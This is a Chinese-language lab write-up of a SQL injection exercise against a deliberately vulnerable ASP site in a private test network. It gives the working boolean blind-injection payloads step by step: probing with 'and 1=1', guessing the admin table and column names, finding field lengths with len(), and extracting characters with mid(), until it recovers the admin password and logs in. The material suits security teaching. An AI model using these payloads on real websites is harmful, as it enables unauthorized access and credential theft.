SQL 注入攻击实验

实验环境

角色 操作系统 IP地址 需要工具
攻击机 windows server 2008 192.168.69.77
靶机 windows server 2008 192.168.69.62 SQL 注入源码

准备工作

  1. 攻击机准备工作

    步骤 1:关闭浏览器的 友好 HTTP 错误信息,以便根据报错信息判断注入结果,如图 1-1 所示


    图 1-1

  2. 靶机准备工作

    步骤 1:安装 IIS ,发布靶机网站


攻击流程

  1. 在攻击机上登录靶机网站,寻找 SQL 注入点

    步骤 1:寻找可能存在注入点的链接,发现链接 http://192.168.69.62/ArticalRead.asp?id=750,格式符合 SQL 注入点的特征,如图 1-2 所示


    图 1-2

    步骤 2:在 URL 后加入敏感参数确认 SQL 注入点是否存在。加入 and 1=1 发现有数据返回,说明该网站存在 SQL 注入点


    图 1-3

  2. 开始猜解网站后台管理员表名

    步骤 1:在 URL 后加入 and (select count(*) from users)>0) 的查询语言,返回报错页面,说明猜解表名为 users 错误,如图 1-4 所示



    图 1-4

    步骤 1:在 URL 后加入 and (select count(*) from admin)>0 的查询语言,有数据返回,说明猜解表名为 admin 正确,如图 1-5 所示



    图 1-5

  3. 开始猜解管理员表的用户字段名和密码字段名

    步骤 1:在 URL 后加入 and (select count(user_id) from admin)>0 的查询语言,有数据返回,说明猜解用户字段名为 user_id 正确,如图 1-6 所示



    图 1-6

    步骤 2:在 URL 后加入 and (select count(user_pwd) from admin)>0 的查询语言,有数据返回,说明猜解密码字段名为 user_pwd 正确,如图 1-7 所示



    图 1-7

  4. 开始猜解管理员表的用户字段长度和密码字段长度

    步骤 1:在 URL 后加入 and (select count(*) from admin where len(user_id)>1)=1 的查询语言,有数据返回,说明用户名字段长度不只 1 位,需要继续猜解,如图 1-8 所示



    图 1-8

    步骤 2:直到在 URL 后加入 and (select count(*) from admin where len(user_id)>5)=1 的查询语言,直接跳转到网站首页,说明用户名字段长度就是 5 位,如图 1-9 所示



    图 1-9

    步骤 3:密码字段长度猜解方法和用户名一致,这里步骤省略

  5. 开始猜解用户名和密码内容

    步骤 1:在 URL 后加入 and (select count(*) from admin where mid(user_id,1,1)='a')=1 的查询语言,有数据返回,说明用户名的第一个字符是 a,如图 1-10 所示



    图 1-10

    步骤 2:直到在 URL 后加入 and (select count(*) from admin where mid(user_id,2,1)='d')=1 的查询语言,有数据返回,说明用户名的第二个字符是 d,如图 1-11 所示


    图 1-11

    步骤 3:依照此方法继续猜解用户名内容的后面三个字符,分别是 min,最终获知用户名为 admin,此处步骤省略

    步骤 4:依照此方法猜解密码内容,最终获知密码为 admin123

  6. 使用猜解出的密码登录后台,可以成功登录,如图 1-12 所示


    图 1-12